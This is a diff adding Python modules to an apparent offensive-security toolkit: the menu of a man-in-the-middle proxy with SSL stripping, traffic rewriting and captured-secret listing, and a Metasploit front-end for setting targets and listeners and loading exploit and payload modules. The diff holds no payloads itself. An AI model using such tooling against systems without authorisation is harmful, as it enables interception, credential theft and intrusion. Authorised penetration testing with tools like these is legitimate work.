print(f"{Colors.CYAN}0{Colors.RESET} Back\n") + + try: + choice = input(f"{Colors.WHITE}Choice: {Colors.RESET}").strip() + except (EOFError, KeyboardInterrupt): + break + + if choice == '0': + break + + elif choice == '1': + if status['running']: + print(f"\n{Colors.YELLOW}Proxy is already running.{Colors.RESET}") + else: + host = input(f"Listen host [{self._listen_host}]: ").strip() or self._listen_host + port = input(f"Listen port [{self._listen_port}]: ").strip() or str(self._listen_port) + upstream = input("Upstream proxy (host:port, blank for none): ").strip() or None + result = self.start(host, int(port), upstream) + if result['success']: + print(f"\n{Colors.GREEN}[+] {result['message']}{Colors.RESET}") + else: + print(f"\n{Colors.RED}[-] {result['error']}{Colors.RESET}") + + elif choice == '2': + result = self.stop() + if result['success']: + print(f"\n{Colors.GREEN}[+] {result['message']}{Colors.RESET}") + else: + print(f"\n{Colors.YELLOW}[-] {result['error']}{Colors.RESET}") + + elif choice == '3': + print(f"\n{Colors.BOLD}Add Modification Rule{Colors.RESET}") + url_pattern = input("URL pattern (regex): ").strip() or '.*' + method = input("Method filter (GET/POST/ANY): ").strip().upper() or 'ANY' + print("Actions: block, redirect, modify_header, inject_header, modify_body") + action = input("Action: ").strip().lower() + params = {} + if action == 'redirect': + params['target_url'] = input("Redirect URL: ").strip() + elif action in ('modify_header', 'inject_header'): + params['header_name'] = input("Header name: ").strip() + params['header_value'] = input("Header value: ").strip() + elif action == 'modify_body': + params['search'] = input("Search string: ").strip() + params['replace'] = input("Replace with: ").strip() + + result = self.add_rule({ + 'match_url': url_pattern, + 'match_method': method, + 'action': action, + 'params': params, + }) + if result['success']: + print(f"\n{Colors.GREEN}[+] Rule added (ID: {result['rule']['id']}){Colors.RESET}") + else: + print(f"\n{Colors.RED}[-] {result['error']}{Colors.RESET}") + + elif choice == '4': + traffic = self.get_traffic(limit=20) + entries = traffic.get('entries', []) + if not entries: + print(f"\n{Colors.YELLOW}No traffic captured yet.{Colors.RESET}") + else: + print(f"\n{Colors.BOLD}Recent Traffic ({traffic['total']} total){Colors.RESET}\n") + print(f"{'ID':>5} {'Method':<8} {'Status':<7} {'Size':>8} {'URL'}") + print("-" * 80) + for e in entries: + secrets_flag = ' *' if e.get('secrets_found') else '' + print(f"{e['id']:>5} {e['method']:<8} {e['status']:<7} " + f"{e['size']:>8} {e['url'][:50]}{secrets_flag}") + + elif choice == '5': + traffic = self.get_traffic(limit=1000) + entries = traffic.get('entries', []) + found = [e for e in entries if e.get('secrets_found')] + if not found: + print(f"\n{Colors.YELLOW}No secrets found in captured traffic.{Colors.RESET}") + else: + print(f"\n{Colors.RED}[!] Secrets found in {len(found)} requests:{Colors.RESET}\n") + for e in found: + req = self.get_request(e['id']) + if req.get('success'): + full = req['entry'] + for s in full.get('secrets_found', []): + print(f" {Colors.YELLOW}{s['type']}{Colors.RESET}: " + f"{s['value_masked']} ({full['method']} {full['url'][:60]})") + + elif choice == '6': + result = self.generate_ca_cert() + if result['success']: + print(f"\n{Colors.GREEN}[+] {result['message']}{Colors.RESET}") + print(f" Cert: {result['cert_path']}") + print(f" Key: {result['key_path']}") + else: + print(f"\n{Colors.RED}[-] {result['error']}{Colors.RESET}") + + elif choice == '7': + self._ssl_strip = not self._ssl_strip + state = 'ENABLED' if self._ssl_strip else 'DISABLED' + color = Colors.GREEN if self._ssl_strip else Colors.YELLOW + print(f"\n{color}[*] SSL Strip mode {state}{Colors.RESET}") + + elif choice == '8': + rules = self.list_rules() + if not rules: + print(f"\n{Colors.YELLOW}No rules configured.{Colors.RESET}") + else: + print(f"\n{Colors.BOLD}Active Rules{Colors.RESET}\n") + for r in rules: + state = f"{Colors.GREEN}ON{Colors.RESET}" if r['enabled'] else f"{Colors.RED}OFF{Colors.RESET}" + print(f" [{r['id']}] {state} {r['action']:<15} " + f"{r['match_method']:<6} {r['match_url']}") + + if choice in ('1', '2', '3', '4', '5', '6', '7', '8'): + try: + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + except (EOFError, KeyboardInterrupt): + break + + +# ==================== SINGLETON ==================== + +_mitm_proxy_instance = None + + +def get_mitm_proxy(): + """Get or create singleton MITMProxy instance.""" + global _mitm_proxy_instance + if _mitm_proxy_instance is None: + _mitm_proxy_instance = MITMProxy() + return _mitm_proxy_instance + + +def run(): + get_mitm_proxy().run() + + +if __name__ == "__main__": + run() diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/msf.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/msf.py new file mode 100644 index 0000000..27c06f8 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/msf.py @@ -0,0 +1,1527 @@ +""" +AUTARCH Metasploit Module +Enhanced interface for Metasploit Framework with module browser. + +Provides easy access to MSF modules, exploits, and sessions. +Uses the centralized MSF interface from core/msf_interface.py. +Integrates with msf_terms.py and msf_modules.py for descriptions. +""" + +import sys +import os +import re +import json +import time +import socket +from pathlib import Path +from typing import Dict, List, Optional, Any + +# Module metadata +DESCRIPTION = "Metasploit Framework interface" +AUTHOR = "darkHal" +VERSION = "2.0" +CATEGORY = "offense" + +# Add parent directory to path +sys.path.insert(0, str(Path(__file__).parent.parent)) + +from core.msf_interface import get_msf_interface +from core.banner import Colors, clear_screen, display_banner +from core.msf_terms import get_setting_info, get_setting_prompt, format_setting_help, validate_setting_value +from core.msf_modules import ( + get_module_info as get_library_module_info, + get_module_description, + search_modules as library_search_modules, + get_modules_by_type, + format_module_help, + MSF_MODULES +) + + +class MSFMenu: + """Enhanced Metasploit menu interface with module browser.""" + + # Module categories for browsing + MODULE_CATEGORIES = { + 'scanners': { + 'name': 'Scanners', + 'description': 'Network and vulnerability scanners', + 'types': ['auxiliary/scanner'], + 'color': Colors.CYAN + }, + 'exploits': { + 'name': 'Exploits', + 'description': 'Remote and local exploits', + 'types': ['exploit'], + 'color': Colors.RED + }, + 'post': { + 'name': 'Post-Exploitation', + 'description': 'Post-exploitation modules', + 'types': ['post'], + 'color': Colors.MAGENTA + }, + 'payloads': { + 'name': 'Payloads', + 'description': 'Payload generators', + 'types': ['payload'], + 'color': Colors.YELLOW + }, + 'auxiliary': { + 'name': 'Auxiliary', + 'description': 'Other auxiliary modules', + 'types': ['auxiliary'], + 'color': Colors.GREEN + } + } + + def __init__(self): + self.msf = get_msf_interface() + self.current_module = None + self.current_module_type = None + self.module_options = {} + + # Global target settings - persist across module selections + self.global_settings = { + 'RHOSTS': '', + 'LHOST': '', + 'LPORT': '4444', + } + + def print_status(self, message: str, status: str = "info"): + """Print a status message.""" + colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED} + symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"} + print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}") + + def wrap_text(self, text: str, width: int = 60, indent: str = " ") -> str: + """Word-wrap text with indent for subsequent lines.""" + words = text.split() + lines = [] + current_line = "" + + for word in words: + if len(current_line) + len(word) + 1 <= width: + current_line += (" " if current_line else "") + word + else: + if current_line: + lines.append(current_line) + current_line = word + + if current_line: + lines.append(current_line) + + return f"\n{indent}".join(lines) + + def ensure_connected(self) -> bool: + """Ensure connected to MSF RPC.""" + connected, msg = self.msf.ensure_connected() + if not connected: + print(f"\n{Colors.YELLOW}{msg}{Colors.RESET}") + print(f"{Colors.DIM}Make sure msfrpcd is running: msfrpcd -P -S{Colors.RESET}") + return connected + + def resolve_hostname(self, hostname: str) -> Optional[str]: + """Resolve hostname to IP address.""" + try: + # Check if it's already an IP + socket.inet_aton(hostname) + return hostname + except socket.error: + pass + + # Try to resolve + try: + ip = socket.gethostbyname(hostname) + return ip + except socket.gaierror: + return None + + def get_local_ip(self) -> str: + """Get local IP address for LHOST.""" + try: + # Connect to external address to get local IP + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.connect(("8.8.8.8", 80)) + local_ip = s.getsockname()[0] + s.close() + return local_ip + except Exception: + return "127.0.0.1" + + # ========================================================================= + # MAIN MENU + # ========================================================================= + + def show_main_menu(self): + """Display MSF main menu.""" + clear_screen() + display_banner() + + print(f"{Colors.RED}{Colors.BOLD} Metasploit Framework{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + + # Connection status + if self.msf.is_connected: + print(f" {Colors.GREEN}Status: Connected{Colors.RESET}") + else: + print(f" {Colors.YELLOW}Status: Disconnected{Colors.RESET}") + + # Show current global settings + if any(self.global_settings.values()): + print() + if self.global_settings['RHOSTS']: + print(f" {Colors.CYAN}Target:{Colors.RESET} {self.global_settings['RHOSTS']}") + if self.global_settings['LHOST']: + print(f" {Colors.CYAN}LHOST:{Colors.RESET} {self.global_settings['LHOST']}") + if self.global_settings['LPORT'] and self.global_settings['LPORT'] != '4444': + print(f" {Colors.CYAN}LPORT:{Colors.RESET} {self.global_settings['LPORT']}") + + # Current module + if self.current_module: + print(f" {Colors.YELLOW}Module:{Colors.RESET} {self.current_module_type}/{self.current_module}") + + print() + print(f" {Colors.RED}[1]{Colors.RESET} Set Target {Colors.DIM}- Configure target & listener settings{Colors.RESET}") + print(f" {Colors.RED}[2]{Colors.RESET} Module Browser {Colors.DIM}- Browse modules by category{Colors.RESET}") + print(f" {Colors.RED}[3]{Colors.RESET} Search Modules {Colors.DIM}- Search all modules{Colors.RESET}") + print() + print(f" {Colors.RED}[4]{Colors.RESET} Current Module {Colors.DIM}- View/configure selected module{Colors.RESET}") + print(f" {Colors.RED}[5]{Colors.RESET} Run Module {Colors.DIM}- Execute current module{Colors.RESET}") + print() + print(f" {Colors.RED}[6]{Colors.RESET} Sessions {Colors.DIM}- View and interact with sessions{Colors.RESET}") + print(f" {Colors.RED}[7]{Colors.RESET} Jobs {Colors.DIM}- View running background jobs{Colors.RESET}") + print() + print(f" {Colors.RED}[8]{Colors.RESET} MSF Console {Colors.DIM}- Direct console access{Colors.RESET}") + print(f" {Colors.RED}[9]{Colors.RESET} Quick Scan {Colors.DIM}- Common scanners{Colors.RESET}") + print(f" {Colors.RED}[E]{Colors.RESET} Exploit Suggester {Colors.DIM}- Suggest exploits from vuln data{Colors.RESET}") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back to Main Menu") + print() + + # ========================================================================= + # GLOBAL TARGET SETTINGS + # ========================================================================= + + def show_target_settings(self): + """Configure global target settings.""" + while True: + clear_screen() + display_banner() + + print(f"{Colors.RED}{Colors.BOLD} Target Configuration{Colors.RESET}") + print(f"{Colors.DIM} Set target and listener options before selecting modules{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Display current settings with term bank descriptions + rhosts_info = get_setting_info('RHOSTS') + lhost_info = get_setting_info('LHOST') + lport_info = get_setting_info('LPORT') + + rhosts_val = self.global_settings['RHOSTS'] or f"{Colors.YELLOW}(not set){Colors.RESET}" + lhost_val = self.global_settings['LHOST'] or f"{Colors.YELLOW}(not set){Colors.RESET}" + lport_val = self.global_settings['LPORT'] or '4444' + + print(f" {Colors.RED}[1]{Colors.RESET} RHOSTS = {rhosts_val}") + print(f" {Colors.DIM}{self.wrap_text(rhosts_info['description'])}{Colors.RESET}") + print() + print(f" {Colors.RED}[2]{Colors.RESET} LHOST = {lhost_val}") + print(f" {Colors.DIM}{self.wrap_text(lhost_info['description'])}{Colors.RESET}") + print() + print(f" {Colors.RED}[3]{Colors.RESET} LPORT = {lport_val}") + print(f" {Colors.DIM}{self.wrap_text(lport_info['description'])}{Colors.RESET}") + print() + print(f" {Colors.GREEN}[A]{Colors.RESET} Auto-detect LHOST") + print(f" {Colors.GREEN}[R]{Colors.RESET} Resolve hostname to IP") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().lower() + + if choice == '0' or not choice: + break + elif choice == '1': + self._set_rhosts() + elif choice == '2': + self._set_lhost() + elif choice == '3': + self._set_lport() + elif choice == 'a': + self._auto_detect_lhost() + elif choice == 'r': + self._resolve_hostname() + + except (EOFError, KeyboardInterrupt): + break + + def _set_rhosts(self): + """Set RHOSTS with validation and domain resolution.""" + print() + print(format_setting_help('RHOSTS')) + print() + + current = self.global_settings['RHOSTS'] + prompt = f"Target [{current}]: " if current else "Target: " + value = input(f"{Colors.WHITE}{prompt}{Colors.RESET}").strip() + + if not value and current: + return # Keep current + + if value: + # Check if it's a hostname that needs resolution + if not any(c.isdigit() for c in value.split('/')[0].split('-')[0]): + # Looks like a hostname + print(f"{Colors.CYAN}[*] Resolving {value}...{Colors.RESET}") + ip = self.resolve_hostname(value) + if ip: + print(f"{Colors.GREEN}[+] Resolved to {ip}{Colors.RESET}") + use_ip = input(f"{Colors.WHITE}Use resolved IP? (y/n) [{Colors.GREEN}y{Colors.WHITE}]: {Colors.RESET}").strip().lower() + if use_ip != 'n': + value = ip + else: + print(f"{Colors.YELLOW}[!] Could not resolve hostname{Colors.RESET}") + + # Validate + valid, msg = validate_setting_value('RHOSTS', value) + if valid: + self.global_settings['RHOSTS'] = value + self.print_status(f"RHOSTS => {value}", "success") + else: + self.print_status(msg, "warning") + self.global_settings['RHOSTS'] = value # Set anyway, user might know better + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _set_lhost(self): + """Set LHOST.""" + print() + print(format_setting_help('LHOST')) + print() + + current = self.global_settings['LHOST'] + auto_ip = self.get_local_ip() + + print(f" {Colors.DIM}Detected local IP: {auto_ip}{Colors.RESET}") + prompt = f"LHOST [{current or auto_ip}]: " + value = input(f"{Colors.WHITE}{prompt}{Colors.RESET}").strip() + + if not value: + value = current or auto_ip + + if value: + self.global_settings['LHOST'] = value + self.print_status(f"LHOST => {value}", "success") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _set_lport(self): + """Set LPORT.""" + print() + print(format_setting_help('LPORT')) + print() + + current = self.global_settings['LPORT'] or '4444' + prompt = f"LPORT [{current}]: " + value = input(f"{Colors.WHITE}{prompt}{Colors.RESET}").strip() + + if not value: + value = current + + # Validate port + try: + port = int(value) + if 1 <= port <= 65535: + self.global_settings['LPORT'] = value + self.print_status(f"LPORT => {value}", "success") + else: + self.print_status("Port must be between 1 and 65535", "warning") + except ValueError: + self.print_status("Invalid port number", "warning") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _auto_detect_lhost(self): + """Auto-detect LHOST.""" + ip = self.get_local_ip() + self.global_settings['LHOST'] = ip + self.print_status(f"LHOST => {ip} (auto-detected)", "success") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _resolve_hostname(self): + """Resolve a hostname to IP.""" + print() + hostname = input(f"{Colors.WHITE}Hostname to resolve: {Colors.RESET}").strip() + + if hostname: + print(f"{Colors.CYAN}[*] Resolving {hostname}...{Colors.RESET}") + ip = self.resolve_hostname(hostname) + if ip: + print(f"{Colors.GREEN}[+] {hostname} => {ip}{Colors.RESET}") + use_as_target = input(f"{Colors.WHITE}Use as RHOSTS? (y/n): {Colors.RESET}").strip().lower() + if use_as_target == 'y': + self.global_settings['RHOSTS'] = ip + self.print_status(f"RHOSTS => {ip}", "success") + else: + self.print_status(f"Could not resolve {hostname}", "error") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + # ========================================================================= + # MODULE BROWSER + # ========================================================================= + + def show_module_browser(self): + """Browse modules by category.""" + while True: + clear_screen() + display_banner() + + print(f"{Colors.RED}{Colors.BOLD} Module Browser{Colors.RESET}") + print(f"{Colors.DIM} Browse Metasploit modules by category{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Show categories + for i, (cat_id, cat_info) in enumerate(self.MODULE_CATEGORIES.items(), 1): + color = cat_info['color'] + print(f" {color}[{i}]{Colors.RESET} {cat_info['name']}") + print(f" {Colors.DIM}{cat_info['description']}{Colors.RESET}") + + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select category: {Colors.RESET}").strip() + + if choice == '0' or not choice: + break + + try: + idx = int(choice) - 1 + cat_ids = list(self.MODULE_CATEGORIES.keys()) + if 0 <= idx < len(cat_ids): + self._browse_category(cat_ids[idx]) + except ValueError: + pass + + except (EOFError, KeyboardInterrupt): + break + + def _browse_category(self, category: str): + """Browse modules in a category with pagination.""" + cat_info = self.MODULE_CATEGORIES.get(category) + if not cat_info: + return + + # Get modules from library that match this category + modules = [] + for path, info in MSF_MODULES.items(): + for type_prefix in cat_info['types']: + if path.startswith(type_prefix): + modules.append({'path': path, **info}) + break + + # Also try to get from MSF if connected + if self.msf.is_connected: + for type_prefix in cat_info['types']: + if '/' in type_prefix: + # e.g., auxiliary/scanner + mtype = type_prefix.split('/')[0] + else: + mtype = type_prefix + + msf_modules = self.msf.list_modules(mtype) + if msf_modules: + for mod_path in msf_modules[:50]: # Limit to avoid overwhelming + if mod_path not in [m['path'] for m in modules]: + # Add basic info for modules not in library + modules.append({ + 'path': mod_path, + 'name': mod_path.split('/')[-1].replace('_', ' ').title(), + 'description': 'Module from Metasploit (use "info" for details)', + 'tags': [] + }) + + if not modules: + self.print_status(f"No modules found in {cat_info['name']}", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + # Pagination + page_size = 20 + page = 0 + total_pages = (len(modules) + page_size - 1) // page_size + + while True: + clear_screen() + display_banner() + + print(f"{cat_info['color']}{Colors.BOLD} {cat_info['name']}{Colors.RESET}") + print(f"{Colors.DIM} Page {page + 1} of {total_pages} ({len(modules)} modules){Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Display modules in 2 columns + start_idx = page * page_size + end_idx = min(start_idx + page_size, len(modules)) + page_modules = modules[start_idx:end_idx] + + # Split into two columns + half = (len(page_modules) + 1) // 2 + col1 = page_modules[:half] + col2 = page_modules[half:] + + for i in range(max(len(col1), len(col2))): + line = "" + + # Column 1 + if i < len(col1): + num = start_idx + i + 1 + mod = col1[i] + name = mod.get('name', mod['path'].split('/')[-1]) + if len(name) > 22: + name = name[:19] + "..." + line += f" {cat_info['color']}[{num:2}]{Colors.RESET} {name:22}" + else: + line += " " * 30 + + # Column 2 + if i < len(col2): + num = start_idx + half + i + 1 + mod = col2[i] + name = mod.get('name', mod['path'].split('/')[-1]) + if len(name) > 22: + name = name[:19] + "..." + line += f" {cat_info['color']}[{num:2}]{Colors.RESET} {name:22}" + + print(line) + + print() + print(f" {Colors.DIM}[N]{Colors.RESET} Next page {Colors.DIM}[P]{Colors.RESET} Previous {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select module: {Colors.RESET}").strip().lower() + + if choice == '0' or not choice: + break + elif choice == 'n' and page < total_pages - 1: + page += 1 + elif choice == 'p' and page > 0: + page -= 1 + else: + try: + idx = int(choice) - 1 + if 0 <= idx < len(modules): + self._show_module_details(modules[idx]) + except ValueError: + pass + + except (EOFError, KeyboardInterrupt): + break + + def _show_module_details(self, module_info: Dict): + """Show module details and offer to use it.""" + clear_screen() + display_banner() + + path = module_info['path'] + name = module_info.get('name', path.split('/')[-1]) + + print(f"{Colors.RED}{Colors.BOLD} {name}{Colors.RESET}") + print(f"{Colors.DIM} {path}{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Try to get full help from library + help_text = format_module_help(path) + if help_text: + print(help_text) + else: + # Fall back to basic info + desc = module_info.get('description', 'No description available') + print(f" {Colors.CYAN}Description:{Colors.RESET}") + # Word wrap description + words = desc.split() + line = " " + for word in words: + if len(line) + len(word) > 70: + print(line) + line = " " + line += word + " " + if line.strip(): + print(line) + print() + + if 'author' in module_info: + authors = module_info['author'] + if isinstance(authors, list): + authors = ', '.join(authors) + print(f" {Colors.CYAN}Author:{Colors.RESET} {authors}") + + if 'cve' in module_info and module_info['cve']: + print(f" {Colors.CYAN}CVE:{Colors.RESET} {module_info['cve']}") + + if 'reliability' in module_info: + print(f" {Colors.CYAN}Reliability:{Colors.RESET} {module_info['reliability']}") + + if 'notes' in module_info: + print() + print(f" {Colors.YELLOW}Notes:{Colors.RESET} {module_info['notes']}") + + print() + print(f" {Colors.GREEN}[U]{Colors.RESET} Use this module") + print(f" {Colors.CYAN}[I]{Colors.RESET} Get info from MSF") + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().lower() + + if choice == 'u': + self._select_module(path) + elif choice == 'i': + self._show_msf_info(path) + + except (EOFError, KeyboardInterrupt): + pass + + def _select_module(self, module_path: str): + """Select a module and prepare it for execution.""" + if not self.ensure_connected(): + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + # Parse module type and name + parts = module_path.split('/', 1) + mtype = parts[0] + mname = parts[1] if len(parts) > 1 else module_path + + self.print_status(f"Loading {module_path}...", "info") + + # Get module info and options from MSF + info = self.msf.get_module_info(module_path) + options = self.msf.get_module_options(module_path) + + if not options: + self.print_status(f"Failed to load module: {self.msf.last_error}", "error") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + self.current_module = mname + self.current_module_type = mtype + self.module_options = {} + + # Set defaults from module + for opt_name, opt_info in options.items(): + if isinstance(opt_info, dict): + default = opt_info.get('default') + if default is not None and default != '': + self.module_options[opt_name] = default + + # Apply global settings + if self.global_settings['RHOSTS'] and 'RHOSTS' in options: + self.module_options['RHOSTS'] = self.global_settings['RHOSTS'] + if self.global_settings['RHOSTS'] and 'RHOST' in options: + self.module_options['RHOST'] = self.global_settings['RHOSTS'] + if self.global_settings['LHOST'] and 'LHOST' in options: + self.module_options['LHOST'] = self.global_settings['LHOST'] + if self.global_settings['LPORT'] and 'LPORT' in options: + self.module_options['LPORT'] = self.global_settings['LPORT'] + + self.print_status(f"Module loaded: {mtype}/{mname}", "success") + + # Show what was auto-filled + auto_filled = [] + if 'RHOSTS' in self.module_options or 'RHOST' in self.module_options: + target = self.module_options.get('RHOSTS') or self.module_options.get('RHOST') + if target: + auto_filled.append(f"Target: {target}") + if 'LHOST' in self.module_options and self.module_options['LHOST']: + auto_filled.append(f"LHOST: {self.module_options['LHOST']}") + + if auto_filled: + print(f"{Colors.DIM} Auto-filled: {', '.join(auto_filled)}{Colors.RESET}") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _show_msf_info(self, module_path: str): + """Get and display module info from MSF.""" + if not self.ensure_connected(): + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + self.print_status(f"Fetching info for {module_path}...", "info") + + info = self.msf.get_module_info(module_path) + if not info: + self.print_status(f"Failed to get info: {self.msf.last_error}", "error") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + clear_screen() + display_banner() + + print(f"{Colors.RED}{Colors.BOLD} Module Info (from MSF){Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Display info fields + fields = ['name', 'fullname', 'description', 'author', 'references', 'rank', 'platform', 'arch'] + for field in fields: + if field in info and info[field]: + value = info[field] + if isinstance(value, list): + if field == 'references': + print(f" {Colors.CYAN}{field}:{Colors.RESET}") + for ref in value[:5]: + if isinstance(ref, (list, tuple)) and len(ref) >= 2: + print(f" - {ref[0]}: {ref[1]}") + else: + print(f" - {ref}") + else: + value = ', '.join(str(v) for v in value[:5]) + print(f" {Colors.CYAN}{field}:{Colors.RESET} {value}") + elif field == 'description': + print(f" {Colors.CYAN}{field}:{Colors.RESET}") + # Word wrap + words = str(value).split() + line = " " + for word in words: + if len(line) + len(word) > 70: + print(line) + line = " " + line += word + " " + if line.strip(): + print(line) + else: + print(f" {Colors.CYAN}{field}:{Colors.RESET} {value}") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + # ========================================================================= + # SEARCH MODULES + # ========================================================================= + + def search_modules(self): + """Search for MSF modules.""" + if not self.ensure_connected(): + return + + print(f"\n{Colors.BOLD}Search Metasploit Modules{Colors.RESET}") + print(f"{Colors.DIM}Examples: 'smb', 'apache', 'ssh', 'cve:2021', 'eternalblue'{Colors.RESET}\n") + + query = input(f"{Colors.WHITE}Search: {Colors.RESET}").strip() + if not query: + return + + self.print_status(f"Searching for '{query}'...", "info") + + # Search both library and MSF + library_results = library_search_modules(query) + msf_results = self.msf.search_modules(query) + + # Combine results, preferring library entries + combined = {} + for mod in library_results: + combined[mod['path']] = mod + + if msf_results: + for mod in msf_results: + if isinstance(mod, dict): + fullname = mod.get('fullname', '') + if fullname and fullname not in combined: + combined[fullname] = { + 'path': fullname, + 'name': mod.get('name', fullname.split('/')[-1]), + 'description': 'Module from Metasploit', + 'rank': mod.get('rank', '') + } + elif isinstance(mod, str) and mod not in combined: + combined[mod] = { + 'path': mod, + 'name': mod.split('/')[-1], + 'description': 'Module from Metasploit' + } + + results = list(combined.values()) + + if not results: + self.print_status("No modules found", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + # Display with pagination + page_size = 15 + page = 0 + total_pages = (len(results) + page_size - 1) // page_size + + while True: + clear_screen() + display_banner() + + print(f"{Colors.GREEN}{Colors.BOLD} Search Results: '{query}'{Colors.RESET}") + print(f"{Colors.DIM} Page {page + 1} of {total_pages} ({len(results)} found){Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + start_idx = page * page_size + end_idx = min(start_idx + page_size, len(results)) + page_results = results[start_idx:end_idx] + + for i, mod in enumerate(page_results, start_idx + 1): + name = mod.get('name', mod['path'].split('/')[-1]) + path = mod['path'] + if len(name) > 30: + name = name[:27] + "..." + print(f" {Colors.RED}[{i:2}]{Colors.RESET} {name}") + print(f" {Colors.DIM}{path}{Colors.RESET}") + + print() + print(f" {Colors.DIM}[N]{Colors.RESET} Next {Colors.DIM}[P]{Colors.RESET} Previous {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().lower() + + if choice == '0' or not choice: + break + elif choice == 'n' and page < total_pages - 1: + page += 1 + elif choice == 'p' and page > 0: + page -= 1 + else: + try: + idx = int(choice) - 1 + if 0 <= idx < len(results): + self._show_module_details(results[idx]) + except ValueError: + pass + + except (EOFError, KeyboardInterrupt): + break + + # ========================================================================= + # CURRENT MODULE MANAGEMENT + # ========================================================================= + + def show_current_module(self): + """Show and configure current module options.""" + if not self.current_module: + self.print_status("No module selected. Use Module Browser or Search first.", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + if not self.ensure_connected(): + return + + full_path = f"{self.current_module_type}/{self.current_module}" + options = self.msf.get_module_options(full_path) + + if not options: + self.print_status(f"Failed to get options: {self.msf.last_error}", "error") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + while True: + clear_screen() + display_banner() + + print(f"{Colors.RED}{Colors.BOLD} {full_path}{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Separate required and optional + required = [] + optional = [] + + for name, info in options.items(): + if isinstance(info, dict): + is_required = info.get('required', False) + current_val = self.module_options.get(name, info.get('default', '')) + desc = info.get('desc', '')[:35] + + entry = (name, current_val, desc, is_required) + if is_required: + required.append(entry) + else: + optional.append(entry) + + # Show required first + if required: + print(f" {Colors.RED}Required Options:{Colors.RESET}") + for i, (name, val, desc, _) in enumerate(required, 1): + val_display = str(val) if val else f"{Colors.YELLOW}(not set){Colors.RESET}" + print(f" {Colors.CYAN}[{i}]{Colors.RESET} {name:18} = {val_display}") + + # Get help from term bank + term_info = get_setting_info(name) + if term_info: + print(f" {Colors.DIM}{self.wrap_text(term_info['description'], width=55, indent=' ')}{Colors.RESET}") + else: + print(f" {Colors.DIM}{self.wrap_text(desc, width=55, indent=' ')}{Colors.RESET}") + print() + + # Show optional (just first 8) + if optional: + print(f" {Colors.DIM}Optional (first 8):{Colors.RESET}") + for name, val, desc, _ in optional[:8]: + val_display = str(val)[:20] if val else "" + print(f" {Colors.DIM}{name:18} = {val_display}{Colors.RESET}") + print() + + print(f" {Colors.GREEN}[S]{Colors.RESET} Set option") + print(f" {Colors.GREEN}[R]{Colors.RESET} Run module") + print(f" {Colors.CYAN}[A]{Colors.RESET} Show all options") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().lower() + + if choice == '0' or not choice: + break + elif choice == 's': + self.set_option() + elif choice == 'r': + self.run_module() + break + elif choice == 'a': + self._show_all_options(options) + elif choice.isdigit(): + idx = int(choice) - 1 + if 0 <= idx < len(required): + self._set_specific_option(required[idx][0], options) + + except (EOFError, KeyboardInterrupt): + break + + def _show_all_options(self, options: Dict): + """Show all module options.""" + clear_screen() + display_banner() + + full_path = f"{self.current_module_type}/{self.current_module}" + print(f"{Colors.BOLD}All Options for {full_path}{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 60}{Colors.RESET}\n") + + for name, info in sorted(options.items()): + if isinstance(info, dict): + is_required = info.get('required', False) + current_val = self.module_options.get(name, info.get('default', '')) + desc = info.get('desc', '') + + req_marker = f"{Colors.RED}*{Colors.RESET}" if is_required else " " + val_display = str(current_val)[:30] if current_val else f"{Colors.DIM}(empty){Colors.RESET}" + + print(f" {req_marker} {Colors.CYAN}{name:20}{Colors.RESET} = {val_display}") + if desc: + print(f" {Colors.DIM}{self.wrap_text(desc, width=55, indent=' ')}{Colors.RESET}") + + print(f"\n{Colors.DIM}* = required{Colors.RESET}") + 